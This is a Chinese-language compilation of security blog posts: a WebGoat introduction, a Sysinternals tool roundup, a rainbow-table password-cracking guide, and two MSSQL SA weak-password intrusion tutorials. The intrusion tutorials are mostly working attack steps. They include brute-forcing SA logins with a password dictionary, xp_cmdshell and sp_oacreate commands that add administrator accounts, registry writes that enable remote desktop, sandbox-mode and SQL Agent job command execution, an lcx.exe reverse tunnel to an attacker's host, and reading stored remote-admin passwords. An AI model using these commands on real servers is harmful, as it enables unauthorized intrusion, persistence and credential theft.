学习Web应用漏洞最好的教程—-WebGoat

WebGoat是一个用于讲解典型web漏洞的基于J2EE架构的web应用,他由著名的WEB应用安全研究组织OWASP精心设计并不断更新,目前的版本已经到了5.0。WebGoat本身是一系列教程,其中设计了大量的web缺陷,一步步的指导用户如何去利用这些漏洞进行攻击,同时也指出了如何在程序设计和编码时避免这些漏洞。Web应用程序的设计者和测试者都可以在WebGoat中找到自己感兴趣的部分。
虽然WebGoat中对于如何利用漏洞给出了大量的解释,但是还是比较有限,尤其是对于初学者来说,但觉得这正是其特色之处:WebGoat的每个教程都明确告诉你存在什么漏洞,但是如何去攻破要你自己去查阅资料,了解该漏洞的原理、特征和攻击方法,甚至要自己去找攻击辅助工具,当你成功时,WebGoat会给出一个红色的Congratulation,让你很有成就感!(咱号称搞技术的不就需要这个吗?)

WebGoat甚至支持在其中加入自己的教程,具体方法可以查看其说明文档

WebGoat中包括的漏洞教程主要有

Cross-site Scripting (XSS)
Access Control
Thread Safety
Hidden Form Field Manipulation
Parameter Manipulation
Weak Session Cookies
Blind SQL Injection
Numeric SQL Injection
String SQL Injection
Web Services
Fail Open Authentication
Dangers of HTML Comments

 

建议在使用WebGoat时对照OWASP的文档来看,比较有用的是下面三个:

OWASP Testing Guide 3.0
OWASP Code Review Guide 1.1
OWASP Development Guide 2.0
如果你以前没有接触过OWASP,当你看到这些文档时,应该会有一种感觉叫做兴奋。

 

下面简单说一下安装方法(windows下):
先下载webscarab-current.zip(这个自带tomcat,还有一个下载方式是war文件,需要自己安装tomcat,建议使用第一个),地址为http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project,解压到一个文件夹,运行webgoat.bat即可启动其自带的tomcat,通过访问http://localhost/WebGoat/attack,输入用户名guest,密码guest即可进入。如下图所示:
webgoat1

有一点值得注意的是默认Tomcat只开放在127.0.0.1的80端口,其他的机器没有办法访问,这也是为了安全考虑,因为WebGoat中的漏洞实在太多了。如果是拿来学习,建议还是将其开在0.0.0.0上,修改tomcat下conf中server-80.xml,将其中的所有127.0.0.1改为0.0.0.0并重新运行webgoat.bat即可。server-8080.xml也可以改,但是要运行webgoat_8080.bat才有效果,
知道有WebGoat这个好东东得益于一次和Fortify厂商的接触,Fortify也是OWASP的主要资助者,他们的程序跟踪分析器(PTA)和静态代码分析器(SCA)常常拿WebGoat来做演示。但是很可惜,没有保存Fortify的分析结果,Fortify也不提供个demo版,只好先拿IBM(收购自WatchFire)的AppScan来看看WebGoat中是否有那么多漏洞,下面是扫描结果:

WebGoat2-appscan

 

的确漏洞无数!好了,开始学习吧!

十款微软免费实用精品工具推荐

本期笔者为大家推荐10个微软官方发布的实用小工具,都是免费的,其中,不乏大家比较熟悉的Process Monitor、AutoRuns等等精品小程序,熟练使用这些小工具能够帮助大家更有能力处理Windows系统出现的各种问题,而且不花一毛钱。

1305941889572

1. 增强型任务管理器Process Explorer

Process Explorer 是一款增强型的任务管理器,你可以使用它方便地管理你的程序进程,让使用者能了解看不到的在后台执行的处理程序,能显示目前已经载入哪些模块,分别是正在 被哪些程序使用着,还可显示这些程序所调用的进程以及所打开的句柄。Process Explorer最大的特色就是可以终止任何进程,甚至包括系统的关键进程!

1305941889732

Process Explorer不仅可以监视、暂停、终止进程,还可以查看进程调用的 DLL 文件,遇到不熟悉的进程可以直接在线搜索。Process Explorer还提供CPU 及内存使用情况的查看服务,通过内核层与用户层分明的波形图,让你在监视用户操作的同时,随时警惕硬件损耗。同时,该软件提供托盘提示服务,可以实时提示 系统资源占用情况。绝对是一个不可多得的系统维护能手。

1305941890746

2. 系统启动项管理工具:Autoruns 

Autoruns是一款可以监控启动进程的小工具,相比Msconfig只能看到一部分涉及Windows启动的程序,Autoruns则可以获得 启动Windows时系统加载的程序与可执行文件的完整列表。当然,这只是Autoruns程序的一个小功能,通过Autoruns,您还可以获取正在运 行的Windows上关于系统进程的大部分信息,包括程序调用的进程、已知的Dll函数库、系统启动所加载的应用程序以及注册表进程等等。

1305941891367

启动项管理

使用Autoruns不仅可以详尽列出开机自启动项目,还可以管理IE加载项、系统服务项等等。对于木马或者病毒这些恶意程序,使用Autoruns可以让其毫无藏身之地。目前,AutoRuns已经能够完美支持Windows7系统。有兴趣的朋友可以下载试试看。

1305941892918

IE插件管理

3. 微软系统监视工具:Process Monitor

Process Monitor是一款系统监视工具,总体来说,Process Monitor集成了Filemon和Regmon两款小工具,其中Filemon专门用来监视系统中的任何文件操作过程,而Regmon用来监视注册表 的读写操作过程。通过Process Monitor,用户可以对系统中的任何文件和注册表操作同时进行监视和记录,通过注册表和文件读写的变化,对于帮助诊断系统故障或是发现恶意软件、病毒 或木马来说,非常有用。

1305941893195

Process Monitor是一个高级版的Windows系统监视工具,说它高级是因为它所提供的功能,Windows是无法比拟的。它可以实时显示文件系统、注册表、进程/线程活动状态。通过详细的进程及注册表信息显示,可以帮助高级用户解决多种系统问题。

1305941895958

4. 精悍网管工具箱:PsTools

PsTools是一个命令行下的Windows NT/2000/XP/2003 远程或者局域系统管理工具包,包含系列工具如下:PsExec-远程运行程序;PsFile-显示远程打开的文件;PsGetSid-显示计算机或用户的 SID;PsKill-根据进程名或进程ID杀进程;PsInfo-显示系统有关信息;PsList-显示详细的进程信息;PsLoggedOn-显示通 过资源共享登陆到本地;PsLogList-导出日志文件;PsPasswd-更改用户密码;PsService-查看和控制服 务;PsShutdown-关闭或重启远程计算机;PsSuspend-终止进程。

1305941895454

5. 虚拟内存自动整理工具:PageDefrag

PageDefrag是微软出品的虚拟内存碎片自动整理工具,可以大大提高用户的系统性能。该软件采用先进的技术向您提供商业碎片整理程序无法提供 的服务:即查看分页文件和注册表配置单元的碎片化情况,并且对它们进行碎片整理的能力。此外,它还对事件日志和 Windows 2000/XP 休眠文件(当休眠笔记本电脑时保存系统内存的地方)进行碎片整理。

1305941896708

6. 流行Rootkit检测工具:RootkitRevealer

RootkitRevealer是一个流行的基于行为的 Rootkit 检测工具,Rootkit 是一种特殊类型的恶意程序。虽然Rootkit检测工具在不断增多,但是恶意程序的开发者也在不断寻找新的途径来掩盖他们的踪迹。 RootkitRevealer 能够帮助用户轻松侦测到大多数流行的企图隐藏它们的文件和注册表键的恶意程序。

1305941897263

7. 端口和线程监控工具TCPView

TCPView是一款免费的端口和线程监控工具,可以列出当前所有TCP和UDP端口的进程清单,包括本地和远程地址的TCP连接。该软件操作简 单、使用方便、占用资源少。TCPView的主界面中显示了当前计算机打开的端口和线程,直接显示端口对应的程序图标,非常直观,一眼就能看出某个端口是 什么程序打开的。

1305941898660

对于那些系统本身打开的端口,由于一般用户并不太熟悉,可以通过检查线程的属性来判断。具体的操作是用右键点击这些线程,在弹出的菜单中选择 “process properties(进程属性)”,其中的“路径”项就是这个端口的所对应的程序在硬盘上的路径,通常系统文件都在C:WINDOWS system32目录下,如果出现和系统程序相似的名字,文件又不在系统目录,那么这些程序就有可能是假冒的系统程序,极有可能是木马。

1305941899976

8.系统信息显示工具:BgInfo

BGInfo是一款用于设置墙纸背景文本显示的软件,此软件本身可以探测一些有用的系统信息并能把这些有用文字显示在墙纸上,从此系统信息查看变得十分简单!

1305941900202

BGInfo可以在你的桌面上显示诸如开机时间、IP地址等信息,把当前的系统信息直接加入到桌面壁纸上,从而帮助用户实时掌握系统信息。

1305941901847

9. 投影演示辅助工具:ZoomIt

ZoomIt是一款非常实用的投影演示辅助工具。它源自Sysinternals公司,后来此公司被微软收购,因此,有些网友也称 ZoomIt为微软放大镜。ZoomIt体积小巧、完全免费、易于使用。通过快捷键可以很方便地调用ZoomIt三项功能:屏幕放大、屏幕注释、定时提 醒。

1305941902903

10. 微软虚拟桌面工具:Desktops 

Desktops是一款虚拟桌面工具,能够让用户同时使用4台虚拟桌面,可以读取邮件,浏览网页,还可以做其他事情。同时,用户可以创建或者切换Desktops,可以通过托盘图标打开桌面的预览和开关窗口,或者使用快捷键。

1305941903903

本期笔者为大家推荐了10个微软官方发布的实用小工具,都是免费的。其实,这些工具都包含在微软发布的免费工具程序集Sysinternals Suite中,该工具集中提供了包括上面介绍的十个工具在内的近70个实用工具。目前,Sysinternals Suite的最新版本是20110503,并且仍然在不断的更新和优化,用好Sysinternals Suite里的工具将更有能力处理Windows的各种问题,而且不花一毛钱。

1305941904753

由于Sysinternals Suite里面的小工具组件有很多,由于时间关系,笔者不可能对所有内置小工具一一进行详细的讲解。用户可以点击进入微软官方站点去查询详细信息。所有内置的小工具组件都可以单独拿出来运行,并且都是绿色化设计,用户只需点击同意按钮就可以直接运行。

1305941905705

本月更新的版本主要更新了3个小工具的版本。

— ZoomIt v4.2

— Process Explorer v14.11

— ProcDump v3.04

Sysinternals Suite 2011.05.03官方下载:

http://download.sysinternals.com/Files/SysinternalsSuite.zip

原文http://news.newhua.com/news/2011/0521/123046.shtml

如何用彩虹表破解MD5、LM Hash等复杂加密密码

一、什么是彩虹表?
彩虹表(Rainbow Tables)就是一个庞大的、针对各种可能的字母组合预先计算好的哈希值的集合,不一定是针对MD5算法的,各种算法的都有,有了它可以快速的破解各类密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上。

二、上哪找彩虹表去?
现在有很多大牛已经把自己的彩虹表共享出来了,所以你可以去下载。还有一种方法就是自己通过工具生成。
不过自己生成有点不切合实际,生成小的彩虹表吧数据少,可以破解密码的位数少(复杂程度低),而且费时费力,4核4GB内存的机器,生成2GB彩虹表,需要花费7天时间,而7天按1MB的带宽(160K/S左右)几乎可以下载30GB左右。
生成的工具可以用RainbowCrack也可以用Cain。网上很容易搜索到下载地址的。

下载彩虹表:

1、MD5的彩虹表
工具推荐:Free Rainbow Tables
ftp:
ftp://tbhost.eu/
user:download
pass:Tx50AbsBHq7Nya7n9weW
http:
http://tbhost.eu/rt.php
http://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/
提供了多种类型的彩虹表下载,LM、NTLM、MD5、SHA1等。千万别把人家法语字符的表也下了,对国人来说,几乎没什么用,不过如果你有特殊需要,那就下吧……这里提供的都是.rti格式的,有别于传统的.ri格式,.rti比.rt的多了一个目录.index文件,据说遍列速度比.rt的更快(未曾对比过,无法确定是否属实)。把你想要用的那个表下载下来,然后下载读取彩虹表的工具:rcracki_mt.exe
把此工具及相关的dll文件复制到彩虹表所在目录,然后运行命令“F:\MD5>rcracki_mt.exe -h 3787795aeee01c9ab7267f252c932572 *.rti”就会开始破解(只能是32位密文)。漏洞之家http://bbs.3344.eu

2、LM-HASH的彩虹表(Windows登录密码)
工具推荐:ophcrack
http://ophcrack.sourceforge.net/download.php
这个是Ophcrack XP Special Tables。一般非Vista的密码Hash,用它能破绝大部分,但在使用过程中也有发现有小部分Hash正确,但无法破解的。
这是Ophcrack Vista Special NTHASH的。官方是收费的表,不过国外共享了,也就可以免费得到了。如果这些表都跑不出来,而你又确定你的Hash没有搞错的话,那么只能找LC5出马了,LC5是一定能破的,只是时间有点久!
其他工具还有一些,大家自己找找吧。不过这两个是经典的常用彩虹表。CMD5,或者Xmd5网站都开始收费了。大家还是自己拿机器跑吧!

MSSQL SA弱口令入侵那些事

原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://xiaowang.blog.51cto.com/1083/129196

      本文技术交流与学习之用,请勿非法使用,产生任何后果本人概不负责。
一、如何找到SA弱口令计算机
1、扫描获得1433端口开放的计算机
      端口扫描器和专门的SQL扫描器很多,笔者经过大量的测试,推荐使用ssport(如图1)这款扫描器进行扫描,尽管有些基于SYN方式的扫描器扫描速度很快,但误报和漏扫情况比较多,而且对网络速度要求比较高,而ssport可以根据扫描计算机的硬件和网络情况进行灵活的设置,操控性很强。因为ssport扫描器占的网络资源比较多,建议超时时间设置的大一些,扫描速度设置的慢一些。ssport的下载地址:[url]http://www.skycn.com/soft/15011.html[/url]
200902081234063385625
图1
      扫描完毕后,将获得的结果”导出”到一个txt文件中,然后使用替换功能去掉每个ip后面的:1433。
2、破解SA密码
      破解SA密码的软件也很多,笔者一般使用x-scan(下载地址:http://www.xfocus.net/tools/200507/X-Scan-v3.3-cn.rar),尽管破解速度不算最快,但很稳定(xp和虚拟机下不算稳定,可能跟xp的tcp连接数量有关,建议在win2000、2003下使用),各种设置如图2,3,4,5,6所示。
200902111234333556671
图2
200902111234333938406
图3
200902111234333988953
图4
200902111234334033906
图5
200902111234334108218
图6
其他设置使用默认设置就行了。x-scan提供了一个sqlserver用户名字典sql_user.dic,我们需要修改一下,只保留其中sa这个用户。x-scan还提供了一个sa的密码字典weak_pass.dic,我也修改了一下:
%null%
%username%
123
server
0000
654321
7654321
manager
12345678
1234
12345
123456
1234567
123456789
admin
password
666666
888888
000000
master
111111
如果条件允许,可以制作生日密码字典进行破解,这种密码还是很多的,而且完全控制的可能性很大。
二、找到SA弱口令服务器后
        1、连接执行cmd命令
        找到SA弱口令服务器后,可以使用sqlserver的查询分析器进行连接,但要获得查询分析器,需要安装sqlserver的客户端,这样比较麻烦,建议使用SQL执行器(下载地址:http://img1.51cto.com/attachment/200902/1083_1233814542.rar)进行连接,查询分析器的功能SQL执行器基本都有,数据库管理员也可以使用这个工具维护数据库,如图7所示。
200902111234336304500
图7
连接上就可以尝试执行cmd命令了,但事情不会象我们想象的那样简单。
        2、连接后,该执行哪些命令?
        假设各种存储过程和dll文件都没有删除,我们先执行:
exec master..xp_cmdshell ‘netstat -an’
看看3389,4899,5631等远程控制的软件端口是否都是开放的,然后执行添加系统用户的命令:
exec master..xp_cmdshell ‘net user a password /add’
exec master..xp_cmdshell ‘net localgroup administrators a /add’
这样就加了一个名为a,密码为password的系统管理员。建议密码设置的复杂些,有些服务器有密码复杂度限制,密码如果太简单,建不了用户。
        3、都会遇到哪些障碍?
(1)如果提示xp_cmdshell被删除了怎么办?
执行exec sp_addextendedproc ‘xp_cmdshell’, ‘Xplog70.dll’,进行恢复。
    
(2) 如果提示sp_addextendedproc不存在怎么办?
执行:
create procedure sp_addextendedproc
@functname nvarchar(517), @dllname varchar(255) as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) — sp_addextendedproc
GO
恢复
        
(3)如果对方的3389服务没有开启怎么办?
执行:
exec master..xp_cmdshell ‘dir c:’
看看根目录下如果是winnt,则一般是win2000,执行
exec master..xp_cmdshell ‘echo [Components] > c:winnt3389’
exec master..xp_cmdshell ‘echo TSEnable = . >> c:winnt3389’
exec master..xp_cmdshell ‘sysocmgr /i:c:winntinfsysoc.inf /u:c:winnt3389 /q’
等服务器重启才能连接3389
如果根目录下是windows,一般是xp或win2003,执行

exec master.dbo.xp_cmdshell ‘echo Windows Registry Editor Version 5.00>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo “fDenyTSConnections”=dword:00000000>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo “PortNumber”=dword:00000d3d>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo “PortNumber”=dword:00000d3d>>3389.reg’
exec master.dbo.xp_cmdshell ‘regedit /s 3389.reg’

执行完毕后,不用等待重启,可以直接连接。
exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;
       
(4)如果使用3389连接时,提示连接用户必须有远程连接的权限怎么办?
执行:
exec master..xp_cmdshell ‘net localgroup “Remote Desktop Users” a /add’
注意单双引号。
(5)如果服务器用的是pcanywhere怎么办?
执行:
exec master..xp_cmdshell ‘dir c:docume~1alluse~1Applic~1symantecpcAnywhereHosts’
想办法把该文件夹的pif文件下载破解。
(5)如果连接3389,提示连接用户已满怎么办?
执行:
exec master..xp_cmdshell ‘shutdown/r /f’
服务器会重新启动,然后连接,只针对xp和2003。
(6)如果对方是sql2005,有些存储过程默认情况下是关闭的怎么办?
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
SQL2005开启’OPENROWSET’支持的方法:
exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;
SQL2005开启’sp_oacreate’支持的方法:
exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;
(7)为什么我建了管理员用户,在连接3389时提示用户名和密码不正确?
这种情况也存在,开3389服务的服务器和开1433服务的服务器不是一台机器,1433服务器很可能在内网,可通过sqltool这个软件上传lcx.exe,进行反向连接,详细情况参考(8)。
(8)对方3389是开启的,但为什么连接不上?
这种情况比较多,可能1433服务器是在内网,或者有防火墙阻挡,科通过sqltool这个软件的上传功能将lcx.exe上传到1433服务器上(可放到system32下),然后到有公网ip的计算机上执行cmd命令(要先把lcx传上去):
Lcx -listen 12345 54321
然后在SQL执行器执行:
exec master..xp_cmdshell ‘lcx.exe -slave 公网ip 54321 127.0.0.1 3389’
再到有公网ip的计算机上使用远程桌面连接127.0.0.1:12345
这样一般可以连上。
(9)3389的端口被修改了,该如何找到?
先执行
exec master..xp_cmdshell ‘netstat -an’
看看那些端口的数字比较特殊,比如9833、12345等,尝试连接,或者
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值。
而终端所对应的服务名为:Terminal Services
第二步:用netstat -ano命令,列出所有端口对应的PID值。
找到PID值所对应的端口,然后连接ip:端口
(10)遇到下面的错误提示怎么办?
消息 50001,级别 1,状态 50001
xpsql.cpp: 錯誤 5 發生於 CreateProcess 的第 543 行
放弃吧,我也不知道怎么办,哪位大侠指点一下。
(11)如果不能执行或者删除了net、net1怎么办?
上传试试,
(12)还有哪些建系统用户的方法?
测试

本文出自 “小王” 博客,请务必保留此出处http://xiaowang.blog.51cto.com/1083/129196

MSSQL Sa账户弱口令利用总结

一般拿到mssql的sa密码,或者遇到sa权限的注入点.可以尝试用sql连接器进行连接.如果不能外连,可以建立一个属于sysadmin组,可以远程登录的帐号进行控制.简单示例如下:

EXEC SP_ADDLOGIN 'hsren','123456','master' ;
EXEC SP_ADDSRVROLEMEMBER 'hsren','sysadmin';

这样,我们就建立了一个属于sysadmin组的sql登录 hsren 密码123456. 在mssql注入中遇到sa权限,不知道sa密码,我们也可以这样建立个用户,比较容易操作.操作以前,我们最好连接下1433端口,看是否开启.其实实际过程中,很多有放火墙阻止了1433端口的,还有一些更改端口为其他端口的,还有内网数据库等等.到时候端口转发,端口复用等,这里暂不考虑,.本文着重记录一些常见的mssql 空口令技巧.

其实mssql利用工具,网上有好多下载.很多版本都挺好用的,而且各有特色.这里不一一介绍了,简单说下我偶尔用到的几个工具,xrou写的sql tools,还有蓝色光芒写的sql综合利用工具.

xrou写的sql tools 功能比较强大,包括五种执行cmd命令的方式,执行sql语句,列目录,上传文件和查看文件内容等.蓝色光芒的sql综合利用工具,增加sql 帐号和注册表管理功能比较实用.其实工具是死的,这里不多加介绍,下面我们用sql查询器直接进行连接.

首先查看mssql版本和系统版本.?select @@version?一般用来查看mssql版本,因为sql2008 sql2005 sql2000 个别语法不相同,本文主要针对sql2000进行记录.

首先,我们进入master数据库,因为sql只有在master数据库中才能执行xp_cmdshell存储过程. user master; 然后F5 执行. 想用1、2、3、来记录后来想到自己的思想混乱和文笔,还是算了,随手记忆吧!

第一步尝试运行cmd命令,有了cmd命令,方便我们进一步的入侵!mssql有很多功能强大的存储过程,也许是太强大了,正是这些存储过程带给了我们数不清的机会!说道cmd命令,首当其冲的,是xp_cmdshell这个存储过程!

说下如何判断某个存储过程是否存在. 我们直接执行 sql语句判断存储扩展是否存在:

select count(*) from master.dbo.sysobjects where xtype='x' and ame='xp_cmdshell'

返回结果为1就ok . 0就是不存在.我们查询什么扩展更改蓝色字体部分的xp_cmdshell即可.

xp_cmdshell,以操作系统命令行解释器的的方式执行给定的字符串,并以文本方式返回.授予非管理员用户执行cmdshell的权限语法为xp_cmdshell {‘command_srting’}[,no_output];具体应用也不多作解释了!因为mssql太强大了,随便每个存储过程都可以用几页文章来形容.还是记录一些常用的命令就好了.
Exec Xp_cmdshell ‘whoami’]

我一般用这个用户作为test语句!当然很多朋友可能都习惯用net user 添加用户!还是那句话,管理员的安全水平越来越提高!sql服务的sa默认是system权限,但是很多有经验的管理员都会把权限降低为nt authority\network service. 有经验的管理员会把net.exe net1.exe cacls.exe 等危险的exe都禁止system访问!当然了xp_cmdshell这么危险的组件也不会保存!而whoami.exe这个命令一般不会被特别的设置权限,所以我们可以判断,xp_cmdshell是否禁止,mssql的运行权限是什么!

下面分2个话题说,第一个,恢复xp_cmdshell;第二个,在sa没有特权的时候,我们该做什么!

先说第一个!

恢复xp_cmdshell,网上关于这类话题的讨论很多!由于本文是记录给自己看的,不能图文并茂,就大概记录一下!

1、提示SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”. 这是mssql2005以上的默认配置!开启mssql2005 xp_cmdshell存储过程的语法为:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

大概就是开启高级选项!设置xp_cmdshell为1就是开启,关闭设置为0就可以了!也给出语句,方便我们利用后恢复!

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

第二步执行:

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ;

3、无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)?

第一步执行:

sp_dropextendedproc "xp_cmdshell"

第二步执行:

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

4、无法在库 xplog70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
第一步执行:

exec sp_dropextendedproc 'xp_cmdshell'

第二步执行:

exec sp_addextendedproc 'xp_cmdshell','D:\hsren\xpsql70.dll'

上面所有命令都输入以后点F5执行.简单说下,第二种找不到存储过程,我们直接添加这个存储过程.xplog70.dll 是xp_cmdshell存储过程要用到的dll文件.第三个是说有存储过程,但是里面的xp_cmdshell存储过程不存在dll里面,我们首先删除这个存储过程,然后重新创建.第四个是说在dll里找不到xp_cmdshell,或者找不到dll的时候,我们自己上传dll 然后删除原来的用我们上传的dll来恢复.

5、如果sp_addextendedproc不存在,也就无法进行存储过程的添加了!这里记录两种方法。第一种是直接恢复xp_cmdshell扩展,不用理会sp_addextendedproc是否存在!具体语句如下:
首先删除

drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

然后恢复

dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

以上的例子只恢复了2种可以执行cmd命令的存储过程,包括下文要说的一些扩展都能利用此种方法恢复!下面就不再赘述了!

第二种是,用sql语句恢复sp_dropextrndedproc. 该语句是从dll里直接提取的.大家可以另外提取一些其他的函数,这些不在本文讨论范围中.sql语句如下:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

执行完毕以后,我们的sp_addextendedproc就可以用了,我们就可以添加各种存储过程了.
6、还有一种,错误 5 来自 CreateProcess .那样是net.exe的权限问题!我们可以用其他的一些扩展办法,比如上传net.exe 等等吧!直接运行一个shell.exe之类的!
上面简单介绍了一些关于xp_cmdshell的恢复和应用!可以执行cmd命令的话.开启3389运行后门,添加用户!这些事情大家自由发挥,我就不多废话了!下面说下xp_cmdshell不能执行的时候,我们可以用来执行cmd的两个存储过程!sp_oacreate 实例上创建OLE对象实例! sp_oamethod 调用ole对象的方法!一个创建一个调用方法去实现,功能可见一斑.应用很广泛.我们只说下cmd命令的应用.其他的大家可以自己去尝试. 这2个存储过程,添加和恢复参照上文的xp_cmdshell,唯一不同的就是dll的名称为odsole70.dll. 这两个存储过程基本语法如下:

sp_OACreate progid, | clsid,
    objecttoken OUTPUT
     [ , context ]
sp_OAMethod objecttoken,
    methodname
     [, returnvalue OUTPUT]
     [ , [ @parametername = ] parameter [ OUTPUT ]
     [...n]]

具体参数说明大家baidu 下. 下面给出创建一个adduser.vbs到启动目录下,运行后利用wscript.shell 执行cmd命令添加一个属于administrators 组的 用户hsren 密码123456的实例.

declare @o int, @f int,@ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\adduser.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'a=wshshell.run ("cmd.exe /c net user hsren 123456 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'b=wshshell.run ("cmd.exe /c net localgroup administrators hsren /add",0)'

不知道能不能看懂,如果你baidu了这2个存储过程的用法,应该能懂.再来个简简单单,执行cmd命令的,这样应该方便大家了解.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net start telnet'

现在,大家对这个应该了解了,实际过程中,我们可以利用这2个函数来执行注册表,写入一句话脚本木马,读写文件(比如servu ftp配置文件)等等很多事情.
不详细说了,记录到执行命令,不得不提的就是沙盒模式执行cmd.说到沙盒模式,因为默认沙盒模式,没有开启,我们必须提到一个xp_regwrite存储过程.而注册表的一些存储过程,我们又可以用来做好多事情,比如查看配置,新建服务,新建启动项之类的.先说沙盒模式提权吧.具体命令如下:

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

首先开启沙盒模式.下面加用户hsren 密码 123456.

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user hsren 123456 /add")');

大概就是这个样子了,需要注意的是,有时候ias.mdb不一定可以用,system32下面有2个mdb可以使用的,如果再不行,可以再找别的或者自己上传.其实运行沙盒模式,也许到过很多的错误,不过今天记录的时候,却忘记了.总是大家自己看着错误提示,寻找解决办法.注意蓝色字体,大家可以自行修正成自己的命令,和mdb路径比如 c:\windows\system32\ias\dnary.mdb.
再说说启动SQLSERVERAGENT 通过JOB执行cmd.大概就是如果服务器可以开启sqlseveragnet ,然后我们可以通过添加任务来执行cmd.具体的大家可以baidu 下. 贴出一个典型的利用语句:

execmaster.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

首先启动服务. 接着添加执行cmd命令的job.

use msdb exec sp_delete_job NULL,'x'
execsp_add_job 'x'
execsp_add_jobstep NULL,'x',NULL,1,'CMDEXEC','cmd /c net user hsren 123456 /add'
execsp_add_jobserverNULL,'x',@@servername
execsp_start_job 'x'

上面的例子中,我们同样添加了一个用户.简单解释下. 首先使用msdb数据库, 然后删除名为x的job, 然后新建个job x 执行cmdexec , 添加job执行的服务器.启动job x. 大概了解就好了.
在简单介绍一种执行cmd命令的方法.xrou写的sql利用工具有个安装diyshell的功能.原理就是,利用添加存储过程,添加一个我们自己写的存储过程到服务器.然后调用这个存储过程来执行cmd.其实可以做任何事情.简单介绍下,日后有时间,可以自己写个然后给大家分享.
cmd说到这里告一段落了.其实一个system权限的cmdshell还有什么不能做的呢.运行程序.上传下载.开启远程终端,添加用户等等. 值得一提的就是文件上传,我记得看过一篇文章写着sa上传文件八法.大家可以参考下.有时间我专门整理下上传文件的文章.
说到开启3389,用我们刚才开启沙盒的xp_regwrite直接可以修改注册表打开3389. 具体语句为:

exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

写注册表,在启动项目,直接操作注册表sam项,这些具体利用就不写了.xp_regwrite没有启动,可以参考上面cmdshell的恢复方法.不同的是注册表操作的这几个存储过程默认的 dll文件名字为xpstar.dll .
说到注册表,不得不提到一系列的函数xp_regread xp_regenumkeys xp_regenumvalues xp_regremovemultistring xp_regdeletekey xp_regdeletevalue 等函数. 他们提供了注册表的列举,查看,修改和删除.我们可以查看注册表的软件配置, 删除ipsec安全策略,修改软件启动.劫持文件启动镜像等等.着重说说如果mssql降权了,没有特殊权限的提权方式. 这时候可以利用xp_regread读取一些配置文件.读取保存在注册表中的密码,来获得权限的提升.比较常用的是vnc,radmin等.因为vnc的加密方式可逆,并且保存在注册表中.我们可以把密码读出来. 语句如下:

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Port'
